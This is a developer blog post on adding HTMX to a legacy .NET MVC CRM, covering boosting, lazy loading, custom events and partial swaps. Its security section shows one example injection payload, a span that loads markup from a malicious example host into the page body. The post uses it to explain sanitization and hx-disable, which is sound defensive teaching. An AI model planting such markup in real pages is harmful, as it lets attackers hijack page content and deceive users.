Third-Way Web Development Part II - Hypermedia 2.0
This post picks up from part I which broadly tells the story of where we are currently and how we got here; ultimately introducing HTMX as the “third way.” It serves as the background and context for this post. If you haven’t already read it, go ahead… I’ll wait.
Now that the background is out of the way, let’s look in depth at HTMX. Rather than the usual quickstart or toy examples, we’ll be looking at this in the context of a real production application already in the wild. We’ll modernize a legacy MVC application, examining the UX without and then with HTMX.
Modernizing Mago
Mago is a SaaS CRM built for professional entertainers. Although it’s life began over a decade ago, it boasts a modern and powerful set of features that many professional entertainers depend on to run their business. It is largely architected as a Modular Monolith implementing the MVC pattern. This architecture provides a balance between simplicity and agility with a clear path to easily decompose into a distributed architecture should changing demands require. On the client-side is some jQuery (which was the style at the time).
For an MVC app, it is reasonably optimized. The backend framework already supports bundling and minification of resources. The dashboard has a raw page weight of 11kb (gzipped).Although this the app uses several UI plugins, they are loaded at runtime in a single minified bundle. The core js weighs in at 369.8kb (gzipped) and the core CSS is 181kb (gzipped). Static resources are available through a CDN fronting the server cluster and a sensible cache policy is already defined (the most efficient network request is the one that doesn’t happen at all). Un-cached, the dashboard total page weight is currently 1.4mb (gzipped) and cached that page weight is 43.2kb(gzipped).
Mago is a good candidate for the hypermedia/htmx model of web app development. Having a single source of truth with respect to state (the server) is more than adequate; duplicating state locally (by way of a state management library like redux or vuex) adds very little benefit given the UX challenges that HTMX address, and greatly simplifies development and maintenance. Client-side code execution is typical of a relatively simple CRUD web-app; UI libraries are used, of course, but there is no need for massive amounts of complex client-side code that a mainstream js framework would organize and optimize. Modernizing this app with HTMX will result in a much lower time-to-value for my customers and, since I’m the sole (part-time) developer/maintainer, this approach keeps maintenance simple and manageable over the life of the product. The trade-offs make sense.
The goal is to achieve that dynamic and responsive user experience that we’ve come to love and expect, without a massive rewrite and the complexity and inevitable tech debt that comes with mainstream js frameworks. jQuery is currently powering asynchronous loading of some elements but implementation is uneven. Some operations will reload individual components and others trigger new navigation or a full-page refresh. Either way, imperatively manipulating the DOM with an ajax library is messy and verbose; HTMX will eliminate that by extending HTML to offer this behavior natively.
Performance and UX
Upon logging in, the performer is presented with a dashboard.
Almost all html resources are actually composite resources. At a minimum, the browser is building a composite of the HTML, CSS rules, and scripts. In addition to those typical embedded resources, we can think of each dashlet on this dashboard as an embedded resource. Mainstream js frameworks adopt the component model, where a page (typically considered a page-level component, or view depending on your conventions) is composed of many components. The components themselves are composed of even more components. This approach maximizes modularity, structure, and reusability. This is a useful approach to modularity on the web and, fortunately, it is very compatible with most MVC frameworks. My backend framework already supports the concept of “views” and “partials” and this application already follows this modular approach without any refactoring prerequisites.
Friend and fellow speaker, Scott Davis, has produced many creative and insightful talks including “The Wrong Kind of Fast” where he argues for evidence-based architecture and questions the conventional wisdom that mainstream frameworks are truly fast (as well as whether they offer the right kind of fast). The image below is from his slide deck.
No matter how we build a web app today, we need to consider both user-perceived performance (first meaningful paint) and total wall-clock performance (time to interactive).
If we begin with a Web 1.0 model (pure HTML/js - no HTMX, no ajax) of the Mago dashboard, this entire page would be composed on the server side before being delivered to the client.
...
<div class="row">
<div class="col-xs-12 col-sm-7">
<h1 class="page-title txt-color-blueDark">
<i class="fa-fw fa fa-home"></i>
Dashboard
<span>> My Dashboard</span>
</h1>
</div>
@{ Html.RenderAction("FinancialSummary", "Home"); }
</div>
...
A number of external calls to the database (and other services) are necessary to compose this page. On my dev machine, the total time necessary to build this page is several seconds. Time to first paint is very high; unacceptably high by today’s standards. However, the time from first paint to interactive is just 266 milliseconds.
Action | Time |
---|---|
Parse HTML | 11ms |
Parse Scripts | 217ms |
Render | 38 ms |
Paint | 4ms |
This rapid time-to-interactive is a small comfort to the user. The user experience is… not great.
The framework approach is to deliver something very rapidly. On the very first load, a bare skeleton that contains a minimal layout and a loading indicator while the main bundle is downloaded and executed. Depending on the bundle size (see examples illustrated below) this will largely depend on the user’s connection speed.
At this point, the bundle is parsed and executed and the first contentful paint appears. Additional “Loading” placeholders are placed where the content will ultimately be displayed. Meanwhile, in the background, one or more API calls are made to fetch the data. However long the underlying database queries take will ultimately determine the latency here. Notably this bottleneck introduces substantially identical latency as the queries in Web 1.0 Mago. While this approach feels faster, it is similar–if not slower–in total time to interactive when compared to Web 1.0 Mago. Yet the user experience is significantly better.
However, on a second run, the framework will likely leave Mago in the dust. The bundle is already loaded, the code is already compiled and executing, and the data may already be cached locally. The user experience is excellent! Can HTMX compete with this?
Incremental Improvements
HTMX asserts that modern web apps demand more hypermedia controls than just anchor and form tags. HTMX also asserts that web apps demand more surgical precision of what is loaded and when. Within a given app, we should be able to load and parse core content only once (as the framework approach enables). The first HTMX property we will introduce is hx-boost
.
HX-Boost
Typically we optimize the loading lifecycle by moving external scripts to the end of the page (or use async/defer properties on script tags). Typically the browser will begin to parse the HTML but pause when it reaches a script tag to load that script before continuing. We can get to first meaningful paint quickly by loading the scripts last. For this example I’m going to buck convention move my scripts to the <head>
tag for reasons I’ll explain shortly. In the process, I’m going to include the HTMX library in my page. It can be referenced via CDN:
<script src="https://unpkg.com/htmx.org@1.9.10" integrity="sha384-D1Kt99CQMDuVetoL1lrYwg5t+9QdHe7NLX/SoJYkXDFfX37iInKRy5xLSi8nO7UC" crossorigin="anonymous"></script>
But for reasons I’m going to be hosting this directly in my application.
My goal is here is to perform a single application bootstrap, similar to the framework approach. Since the content of the <head>
tag is common across my application, I don’t want to load/parse CSS and global JavaScript on every navigation. I can accomplish this easily using the hx-boost
property like so.
...
<div id="main" role="main" hx-boost="true">
...
Adding the hx-boost
property to a tag will “boost” all child anchors and form tags to use ajax. This is a form of progressive enhancement that degrades gracefully if JavaScript is not enabled (they’re still normal anchors or forms). What happens under the hood?
- The user clicks a local hyperlink
- HTMX intercepts the request and performs an ajax
GET
of the requested resource - HTMX takes the response and parses out the
body
tag and thetitle
tag. - HTMX replaces the
innerHTML
of the body with the response, updates thetitle
appropriately - HTMX pushes the full url into the browser history
Of course, there are a number of “smarts” embedded in this approach. A request that should only update part of the page won’t be boosted, external links aren’t boosted, and, of course, this behavior can be selectively enabled or overridden at the form or link level with the properties hx-boost="true"
and hx-boost="false"
respectively.
This one-liner saves a couple-hundred milliseconds on each request, reducing time to first paint when navigating the application.
You can see a request was boosted from the devtools:
Additionally HTMX will include a number of request headers including Hx-Boosted: true
should you need to know a request was boosted on the server side.
Improving UX by Reducing Time-To-First-Paint
We’re going to borrow another trick from the framework playbook by separating data retrieval from the first paint, asynchronously loading content. The magic of the modern UX that began in 2004 continues to be driven by asynchronous interactions. Let’s look at the first data-driven component on the page; the income and pipeline chart.
Currently we’re populating that on the server-side at template render-time.
...
<div class="row">
<div class="col-xs-12 col-sm-7">
<h1 class="page-title txt-color-blueDark">
<i class="fa-fw fa fa-home"></i>
Dashboard
<span>> My Dashboard</span>
</h1>
</div>
@{ Html.RenderAction("FinancialSummary", "Home"); }
</div>
...
On my dev machine, with a remote dev database, that operation takes 1.3 seconds. That’s a significant amount of time where the performer is waiting for anything to happen on their screen. The user-perceived performance will be much higher if this happens asynchronously. It should be noted that this approach breaks the idea of progressive enhancement. If JavaScript is disabled, the user won’t ever see real content (of course, this is also true of any mainstream framework). Keep this consideration in mind if graceful degradation is important to your app. Although mainstream frameworks don’t offer any kind of graceful fallback, it would be trivial to leverage the request headers and optionally perform the appropriate server-side rendering if the Hx-Request
or Hx-Boosted
headers aren’t present.
For now, let’s replace the RenderAction()
with placeholder html:
<div id="FinancialSummary"
class="col-xs-12 col-sm-5">
<ul id="sparks" class="">
<li class="sparks-info">
<h5> Booked Income
<span class="txt-color-blue">$Loading...</span>
</h5>
<div class="sparkline txt-color-blue hidden-sm">
100,100,100,100,100,100,100,100,100,100,100,100
</div>
</li>
<li class="sparks-info">
<h5> Total Pipeline
<span class="txt-color-greenDark">$Loading...</span>
</h5>
<div class="sparkline txt-color-greenDark hidden-sm">
100,100,100,100,100,100,100,100,100,100,100,100
</div>
</li>
</ul>
</div>
We have now have a meaningful paint without delay, but we want to request the real resource when the page loads. HTMX allows you to turn any element into a hypermedia control by adding properties to the element. Let’s turn the containing div into a hypermedia control with a hypertext reference of /home/financialsummary
. We want this hypermedia control to be to be triggered when it loads, and the response targeted to replace just the contents of the div.
First we add the hx-get
property to the container div to indicate this element makes a GET request to the given URL. By default HTMX triggers requests based on the click
event with some exceptions. By default, input
, textarea
and select
elements trigger on change
and form
elements trigger on the submit
event. There are a number of other triggers we can define, including load
. Finally we want the response to be put directly into the div that triggered it but this is the default behavior unless it is overridden.
Our new placeholder code looks like this:
<div id="FinancialSummary"
class="col-xs-12 col-sm-5"
hx-get="/Home/FinancialSummary"
hx-trigger="load">
<ul id="sparks" class="">
<li class="sparks-info">
<h5> Booked Income
<span class="txt-color-blue">$Loading...</span>
</h5>
<div class="sparkline txt-color-blue hidden-mobile">
100,100,100,100,100,100,100,100,100,100,100,100
</div>
</li>
<li class="sparks-info">
<h5> Total Pipeline
<span class="txt-color-greenDark">$Loading...</span>
</h5>
<div class="sparkline txt-color-greenDark hidden-mobile hidden-md hidden-sm">
100,100,100,100,100,100,100,100,100,100,100,100
</div>
</li>
</ul>
</div>
The load
event fires once the DOM content is loaded, triggering an asynchronous GET
request to retrieve the FinancialSummary resource, loading it directly into the div #FinancialSummary
. Async partial loading and a better user experience achieved while writing precisely 0 lines of custom JavaScript. This is just a capability baked into HTML now.
Additionally, we get everything induced by the architecture of the web. Recall this architecture has a cache constraint; now that FinancialSummary is a standalone resource that can be requested independently, we can apply a caching policy. Particularly since this info doesn’t change very often. Since this financial summary is displayed all over the app this will massively improve performance across the application. These two changes improve time to first meaningful paint by 1.5s across the entire application.
We can repeat this approach for every dashlet on the dashboard so all dynamic content is loaded asynchronously.
Lazy Loading and Loading Indicators
The notifications panel, the task list, and the Upcoming Automation dashlet all typically load “below the fold” on desktop (and everything but the calendar appears below the fold on mobile). HTMX allows us to lazy load components/embedded resources and this is what we want to do for any potentially off-screen elements. In this case we will include our content skeleton in the dashboard page resource, adding the hx-get
property, but our hx-trigger
will be (or, at least, include) revealed
.
For the FinancialSummary, we made the containing div
the hypermedia control that responded not to a user interaction but a page event. Let’s look a slightly different approach applied the Upcoming leads dashlet.
Like the summary, we want a rapid time-to-meaningful-paint so we will continue the pattern of putting placeholder content in the dashboard skeleton that will be asynchronously hydrated. Remember, if progressive enhancement (and graceful degradation) is important, you may want to optionally include page content if HTMX Headers are not present in the request. Alternatively, I will be describing partial swaps later in this post.
I’ve defined a “loading” class to apply to the loading dashlet for the initial loading state:
.widget-body-htmx-loading::before {
content: url(/content/img/ajax-loader.gif);
text-align: center;
font-weight: 700;
font-size: 16px;
color: #fff;
display: block;
background: rgba(255,255,255,.4);
height: 100%;
z-index: 1;
width: 100%;
position: absolute
}
.widget-body-htmx-loading:hover {
cursor: wait !important
}
My Skeleton looks like this:
<div class="widget no-padding widget-color-green"
id="ActiveLeadsWidget" role="widget">
<header role="heading">
<span class="widget-icon">
<i class="fa fa-leaf"></i>
</span>
<h2>Active Leads</h2>
<div class="widget-toolbar" role="menu"></div>
<span class="widget-loader htmx-indicator" id="GigsLoading">
<i class="fa fa-refresh fa-spin"></i>
</span>
</header>
<div role="content">
<div class="widget-body no-padding" id="ActiveLeads">
<div id="LeadsWrapper" class="form-inline no-footer">
<table class="table no-footer" id="AciveLeads" role="grid" aria-describedby="ActiveLeads_info">
<thead>
<tr role="row">
<th rowspan="1" colspan="1">Event</th>
<th class="sorting_disabled" rowspan="1" colspan="1">"Fee"</th>
<th class="sorting_disabled" rowspan="1" colspan="1"></th>
</tr>
</thead>
<tbody>
<tr class="odd"><td valign="top" colspan="3">Loading</td></tr>
</tbody>
</table>
<div class="dt-toolbar-footer">
<span class="text-danger">Loading...</span>
</div>
</div>
</div>
</div>
</div>
I’ve already overlaid my loading style on the div
with id ActiveLeads
but we need to fetch this data. If this were a component in a framework, we would hydrate this component using the component lifecycle events (or any of the myriad other component approaches that have come and gone). In the library-driven ajax approach, we might do something like this.
$(document).ready(function() {
$('#LeadsWidgetContainerDiv').load('/Lead/Active');
});
But part of the mental shift that comes with walking away from the direct DOM manipulation approach is to think first about hypermedia controls. We also want improved Locality of Behavior. This component will have a refresh button as an affordance for the user to independently refresh the content of this widget. This is our hypermedia control. This is our hypermedia control that responds to click events, but HTMX allows us to define a much richer set of interactive possibilities within our markup.
...
<h2>Active Leads</h2>
<div class="widget-toolbar" role="menu">
<a href="/Lead/Active" id="ActiveLeadsReloadButton"
class="button-icon htmx-refresh-btn txt-color-white"
hx-get="/Lead/Active" hx-trigger="click, revealed">
<i class="fa fa-refresh"></i>
</a>
</div>
...
Out of the box, an anchor will make a new full-page request based on the href
property of the tag, however we’re overriding the behavior of this element with HTMX. It is now an ajax control (assuming HTMX is loaded) but keeping the href
attribute allows this element to work without JavaScript (assuming the backend will return just the component/partial for HTMX requests and a full page, inheriting the app _layout if not). I’m specifying multiple events (separated by commas) for this control. (notably, as of v1.9.10 there is a bug in the library that only scans for exact matches on the revealed
. I might be able to instead use the intersect
but a pull-request for this issue was submitted a week ago and the fix was a single character change.)
Our financial summary swapped the innerHTML of the control/div with the response. This is the default behavior. In this case, it doesn’t make much sense to place the response in the body of that anchor tag, so we need to tell HTMX where to target the response. We use the hx-target
attribute with a standard css selector.
...
<a href="/Lead/Active"
id="ActiveLeadsReloadButton"
class="button-icon htmx-refresh-btn txt-color-white"
hx-get="/Lead/Active"
hx-trigger="click, revealed"
hx-target="#ActiveLeads">
<i class="fa fa-refresh"></i>
</a>
...
This is also a useful approach as the hx-target
attribute is inherited by children, so if you use hx-boost
at the top level of the body, you might get unexpected results without manually overriding boosted links to include hx-target="body"
.
Initially the skeleton will render with the loading overlay, but the user receives no subsequent feedback when the component is refreshed. HTMX allows us to specify a loading indicator. The class .htmx-indicator
is provided for us, which defaults to transparent but HTMX will apply additional classes during the request rendering the element visible. A spinner/throbber is perfect for this. In the widget menu section, I’ll add an element to act as our indicator.
...
<span class="widget-loader htmx-indicator"
id="LeadsLoading">
<i class="fa fa-refresh fa-spin"></i>
</span>
...
And I just need to specify that I want to use this indicator in the HTML using the hx-indicator
property.
...
<a id="ActiveLeadsReloadButton"
class="button-icon htmx-refresh-btn txt-color-white"
hx-get="/Lead/Active"
hx-target="#ActiveLeads"
hx-indicator="#LeadsLoading">
<i class="fa fa-refresh"></i>
</a>
...
Clicking the refresh button gives the user subtle, but useful feedback on the state of the component. Coming from a direct DOM manipulation mindset or a responsive mindset, it’s both strange yet freeing to step away from the imperative mindset of toggling classes or manually injecting markup into the page. Since this app has historically used jQuery, my mental default was to manually toggle classes. At first, it was it was difficult to let go of this type of approach. It can be hard to relinquish this much control as a developer. Many times in this process I had to stop myself and think “what is the pure hypermedia way to accomplish this?” As I have steadily improved my application’s UX while (so far) only deleting code, I can tell you it’s a good feeling! I can focus more and more on delivering value to my customers without getting bogged down in the implementation details. It’s worth pointing out the goal isn’t to eliminate all JavaScript, but rather use it in a much more deliberate and thoughtful way. I can bring in a service worker, client libraries, or even component frameworks (or use HTMX’s built-in client-side templating) where it makes sense. I simply have a power powerful default/starting place that I can extend with a much more meaningful set of options where appropriate.
Now that I have completed this process for every widget in the dashboard the server is able to generate the skeleton dashboard html page much faster. With the exception of the calendar (which is always at the top of the page) all of our dashlets are now lazy loading when they are visible in the viewport. Our dashboard doesn’t contain any meaningful state, so we may now apply a cache policy on this resource with a long expiration. Navigating to the dashboard from anywhere in the app gives us a time-to-interactive of 187ms with a mere 34.3kb total network transfer on the request.
The main bottlenecks (pausing document parsing to retrieve and load core scripts and css) are skipped. Our parse-to-paint timeline on boosted interactions now looks like this:
Action | Time |
---|---|
Fetch Dashboard HTML | <1ms from cache |
Parse HTML | 1ms |
Parse Scripts | 13ms |
Render | 22 ms |
Paint | 4ms |
The time from initial request to first meaningful paint on a boosted dashboard page load is now 360ms. This is down from multiple seconds using the Web 1.0 approach, all accomplished without writing a single line of JavaScript (in fact, several dozen lines of js have been deleted so far). We’re just extending what HTML and the REST architectural style already gives us. The performance and responsiveness of this app is only going to continue to improve as we continue to leverage the power this library offers.
Trigger Modifiers
On the top of the page is a “recently viewed” menu. Since a user only really cares about the contents of this menu when they’re actually looking at it, rather than asynchrously loading this menu when the page renders, it makes sense to request the body of this menu when it is expanded. Based on what we’ve done so far, this will be easy:
...
<div class="context hidden-xs" id="RecentDropdown">
<span class="project-selector dropdown-toggle"
data-toggle="dropdown"
hx-get="/Home/RecentlyViewed"
hx-target="#RecentItems"
hx-trigger="click"
hx-swap="outerHTML">
Recently Viewed:<i class="fa fa-angle-down"></i>
</span>
<ul class="dropdown-menu" id="RecentItems">
<i class="fa fa-refresh fa-spin"></i> loading...
</ul>
</div>
...
The span becomes our hypermedia control, and clicking this element will both expand the dropdown and load its contents. In this case, we want our click to behave differently. Unlike the dashboard widgets, once this menu is loaded the first time, there is no really need to refresh it on a subsequent click. We want to modify this event to only fire once
. Our trigger will look like this hx-trigger="click once"
. Since there is no comma after the trigger event, what follows is a modifier. This is also useful for form submissions where we want to guard against double-submission.
Custom Events & Reactive Components
On the dashboard, events that are currently on the performer’s radar are separated into two categories, Leads and Gigs. Leads are events the performer is in an active sales process. They have not been booked yet. Gigs, on the other hand, are confirmed events the performer is committed to appear and perform at.
On the leads dashlet, each pending event has a kebab menu and one of the available options is to convert the lead into a gig. Selecting this option triggers a POST
operation in a hypermedia 1.0 <form>
resulting in the entire dashboard being returned in the response. Because this application is boosted, the form post will also be boosted and the entire request will take less than half a second. That said, every dashlet will then need to be reloaded. All we really need to do is remove one <tr>
from the leads dashlet and add one <tr>
to the gigs dashlet. We don’t need to re-request the calendar, the task list, the current automation queue, etc. Ideally we want an experience similar to what is offered in the mainstream frameworks, where state changes and any elements dependent on that state will automatically react to that change.
We could take the SPA approach and use some kind of state management library to produce a local copy of state with a complex framework to keep the DOM in sync as a reflection of that state as well as more complexity and lurking edge cases to keep the local state in sync with the actual source of truth (the database on the server). In the case of this application, it makes much more sense to eliminate all of that complexity entirely (as well as close to year of rewrites). The trade-off is an almost imperceptible performance penalty that is not significant in the context of this application and a guarantee that what is on the screen is a true representation of state at all times.
The first thing I want to do is redefine the menu option currently controls this behavior to be another hypermedia control. This control should perform a POST
based on the currently defined implementation (although if I were building this application from scratch to be a native hypermedia system, I probably would define this to be a RESTful PATCH
operation, but since the legacy app uses an RPC-style approach for the UI, we’ll reuse what we have). HTMX supports the full set of HTTP operations, which affords great power to webdev (in contrast, HTML natively only supports GET
and POST
). The element would look like this:
...
<li>
<span class="bookGig"
hx-post="/Gig/Book/{Lead.Id}"
hx-indicator="#LeadsLoading"
hx-target="#ActiveLeadsTable" >
<i class="fa fa-calendar-check-o"></i>
Convert To Gig
</span>
</li>
...
For updating the leads dashlet, there are a couple of interesting options. Naturally I could refactor this endpoint to return a new copy of the component and target the body of the widget. HTMX, however, gives us a great deal of control over the target. If I wanted to be more surgical, I could refactor this endpoint to return an empty response and target the tr
closest to the convert button. My target would be hx-target="closest tr"
. This is a useful trick to keep in your back pocket, but this app uses DataTables, a javascript-driven table component that isn’t observing the underlying table and thus would need to be informed of the change. My instinct is to take the simple approach of refreshing the entire widget body, but it can be useful to know how to listen for HTMX events in javascript so I will show my implementation, then explain listening for htmx events in JavaScript.
I’m going to keep my hypermedia control as implemented above. The problem is, since this lead will be moving to the Gigs dashlet, I also need to refresh this. Following the HTMX way of defining this behavior declaratively rather than imperitively, I want to broadcast an event the Gigs dashlet can trigger on. This will be a custom event that I will be defining in the response headers using the Hx-Trigger
header.
My backend controller method looks like this:
public ActionResult Book(Guid id)
{
var currentGig = LeadService.UpdateStatus(Gig.StatusBooked);
Request.RequestContext.HttpContext.Response.AddHeader("Hx-Trigger", "GigsUpdated");
return Active();
}
I can now update my Gigs dashlet load/refresh button to trigger on revealed
, click
, and gigsUpdated
(which will bubble up the DOM so I’m specifing to listen to my custom event from:body
):
...
<a href="/Gig/Upcoming"
id="UpcomingGigsReloadButton"
class="button-icon htmx-refresh-btn txt-color-white"
hx-get="/Gig/Upcoming"
hx-target="#ActiveGigs"
hx-indicator="#GigsLoading"
hx-trigger="revealed, click, gigsUpdated from:body">
<i class="fa fa-refresh"></i>
</a>
...
I want my components to be reactive to state changes. The difference here is, the source of truth is the server, so rather than duplicating state on the client and creating components that observe that non-authorative state, my components react to events that bubble up as a result of state changes at the source of truth. This is a pattern I will be using all over the application, broadcasting certain state-change events that any components on the page might be interested in. For example, Leads, Gigs, and Tasks can be created from a modal but this model can appear on any page in the app. Rather than relying on callbacks to hunt around and script reload clicks and complex logic to find and optionally reload widgets, any interested widgets that should respond can simply listen for response events keeping everything nice and declarative.
At this point, it occurs to me that these state changes have a side-effect of changing the state of the calendar. New Leads/Gigs should appear, and converted gigs/leads should appear a different color. I certainly could instruct the calendar component to listen to these custom events, but that would require rebuilding the entire calendar (which is drawn by the javascript component fullCalendar). This might be a good candidate for a js listener to listen to these events and update the calendar accordingly. HTMX events are prefixed with htmx:
but custom events are not. The code to listen for my custom events and refresh the calendar would look like this:
document.body.addEventListener('gigsUpdated', function (evt) {
$('#calendar').fullCalendar('refetchEvents');
});
document.body.addEventListener('leadsUpdated', function (evt) {
$('#calendar').fullCalendar('refetchEvents');
});
It’s important to remember that the HX-Trigger
header is only processed on HTMX requests. If you (like I) have legacy ajax forms and modals that aren’t driven by HTMX, your events won’t be picked up by your HTMX components. For legacy ajax components, it was necessary to trigger events using the HTMX api. The basic pattern looks like this:
function checkHXTrigger(url, method) {
$.ajax({
url: url,
type: method, // 'POST' or 'GET'
complete: function(xhr) {
var headerValue = xhr.getResponseHeader('HX-Trigger');
if (headerValue) {
htmx.trigger("body", headerValue);
}
}
});
}
While experimenting with custom events, I found the built-in logging and debugging capabilities useful, particularly htmx.logAll()
and monitorEvents(htmx.find("#theElement"));
.
Partial Swaps and Pushing History
Most of the components we’ve talked about are little standalone resources that only exist as partials (in .net parliance). Let’s look at an exception; the record detail and edit screens. Here is the contact details page in Mago:
When this page, the dashlets are asynchrously lazy-loaded but clicking the edit icon will load a substantially identical page (including dashlets) but the contact card is replaced with a form. The edit icon is currently a hypermedia 1.0 hyperlink that reloads the entire page and its contents. HTMX will allow us to replace just the contact card dashlet with the edit form.
The problem is, unlike the dashboard dashlets, the edit page is not a partial, it is a full page. Now, I could maintain two copies of this component (the partial, and the full page) and serve one or the other based on different routes or content-negotiation. Even though I’m not totally married to DRY, I don’t relish the idea of maintaining two copies of the same view. I could refactor the edit form to be a partial, but there is still a need to navigate directly to the edit screen (either via hyperlink or browser history). Really I would like to keep only one template, but only inject the relevant part into the dashlet. hx-select
is the solution.
Hx-select allows me to specify specific content to be swapped. This is what my edit icon looks like:
...
<a href="/Contact/Edit/{contact.id}"
class="button-icon btn btn-xs"
hx-get="/Contact/Edit/{contact.id}"
hx-target="#ContactWidget"
hx-select="#ContactWidget"
hx-swap="outerHTML"
hx-indicator="#ContactLoadingIndicator"
hx-push-url="true">
<i class="fa fa-pencil"></i>
</a>
...
Let’s break down what’s happening here:
href
- default behavior. No js means the normal hypermedia 1.0 navigation will happen on clickhx-get
- this is defining that we’re doing an HTMX driven interactions, overriding the default link behaviorhx-target
- target the dashlet container elementhx-select
- instructing HTMX to parse out just the fragment of the response we want to swaphx-swap
- we want to include the containing element in the swaphx-indicator
- let the user know something is happening during loadinghx-push-url
- by default, these types of events don’t appear in the history, but in this case, I want the full edit URL to be pushed into the browser history so the back button will work properly.
Clicking this link will leave all other elements in place, again providing that responsive UX. There is no need to reload those dashlets over and over again. On the edit form, the submit is an HTMX post with similar targeting and swap properties and will, again, push the URL into the brower history. Likewise the cancel button is identical to the above fragment other than the hx-get
property.
This approach trades a little bit of network overhead (a couple of kilobytes) for the simplicity of not maintaining multiple copies of the same form and/or maintaining different routes, or controller if statements and razor @renderpartial()
statements. Long term I may refactor to the split the view in to parts and add some conditional logic in the controller that will serve the full page or partial depending on HTMX request headers, but this reduces the scope of my change and associated risk while increasing time-to-value for my customers. It’s a useful trick to keep up your sleeve.
Security Considerations
In many ways, the mainstream framework approach to web development has kept the actual HTML so abstracted away, it can cause complacency. With HTMX, you’re working much closer to the html, response are injected directly into DOM and all scripts go through eval()
. Sending down unsanitized user input has always–and will always–be a bad idea. It is important to adopt the best practices of the past to sanitize responses. In most cases you, like I, will be using some kind of backend framework. Mago is built using .net MVC. which has always handled output sanitization at the framework level. There are, however, a few places wher I want to send raw HTML in the template response (e.g. html emails in the history component). In this case, the onus is on me to sanitize this before rendering it in the templates. My application has always had an html sanitizer dependency because this potential vulnerability has always existed and is not unique to HTMX. My history view implements the sanitizer like this:
...
@if (item.HistoryType == HistoryType.Email)
{
var htmlBody = sanitizer.Sanitize(item.Description ?? "");
<div>
@Html.Raw(htmlBody)
</div>
}
...
In short, anywhere you’re doing the equilivant of razor’s @Html.Raw()
use a reliable and battle-tested sanitizer, but this has always been the case. The truth is, HTMX introduces some new ways to cause mischeif that a sanitizer might not know about. For example, if I had a remote server with no CORS checking, I could inject some poison markup along the lines of <span hx-get="http://malicious.example.com/page" hx-target="body" hx-trigger="load">...
. The solution is simple. For any content I don’t control/trust that I would output with @Html.Raw
I simply add the hx-disable
attribute in the container along with my raw (but sanitized) html output.
...
@if (item.HistoryType == HistoryType.Email)
{
var htmlBody = sanitizer.Sanitize(item.Description ?? "");
<div hx-disable="true">
@Html.Raw(htmlBody)
</div>
}
...
In most cases you will also want to set htmx.config.selfRequestsOnly
to true which will only allow AJAX requests to the same domain as the current document.
Conclusions
Teaching an old dog (Mago) new (UX) tricks has been an enlightening experience. Once I was able to get over the hurdle of my existing webdev mental set, I found working with HTMX to be an utterly plesant experience. Furthermore, I was able to take a very incremental approach. Once the dashboard conversion was complete I was able to deploy to production. In other words, I delivered value and improvements to my customers after just a couple of hours.
I will say this experience also provided some illuminating hindsight. When I first wrote Mago, I didn’t know everything I know today. I have a much better understanding of the REST architectural style and would have made significantly different architectural decisions but it was nice that I didn’t have redesign the entire app to get the UX I (and my customers) wanted. Perhaps I will write more in the future on architecting hypermedia systems, but for now I’m happy with this experience and what I learned. If you want a philosophical deep-dive and don’t want to wait on my uneven blog publication schedule, read the collection of HTMX community essays.
In short, to me HTMX is a long overdue breath of fresh air. Do I think HTMX will (or should) replace the mainstream frameworks? Absolutely not. There are many situations where they are absolutely the correct choice. Not only for those situations were a 90s style fat-client app is a better solution but also for those whose core webdev skillset is framework/js ecosystem focused (although if you want a similarly hypermedia-friendly approach but are coming from a typescript/jsx background, check out fresh). I belive HTMX is an excellent choice for modernizing legacy MVC applications, for projects driven by teams who are predominantly backend-developers and for whom the complexity and learning curve of a mainstream framework would be an undue burden, and for projects that crave that modern UX but don’t want the complexity that comes with the framework-centric approach. Most notably, migrating Mago to HTMX took a few days. Rewriting in Angular, Vue, or React would have taken considerably longer and introduced a much higher maintenance burden as these frameworks continue to evolve.
It’s also worth noting that HTMX does play well with many js libraries and frameworks. Despite the stigma, jQuery remains ubiquitous and useful with a large number of UI plugins and component libraries available. A marriage of jQuery and HTMX is a match made in heaven when jQuery handles the UI components and HTMX handles the dynamic interactivity. AlpineJS is worth a look into and VanillaJS is another good option. HTMX promotes hyperscript as an alternative front-end scripting approach. Finally it’s entirely possible to bring in some vue, react, or even angular if it made sense. Just remember (from the official HTMX docs and essays):
- Respect HATEOAS
- Use events to communicate between components
- Use islands to isolate non-hypermedia components from the rest of your application
- Consider inline scripting
I built my first web page using html 2.0 and the past two decades have led me to walk away from most webdev. HTMX has rekindled my love of the web. It’s definitely a technology that should be both on your radar and in your toolkit.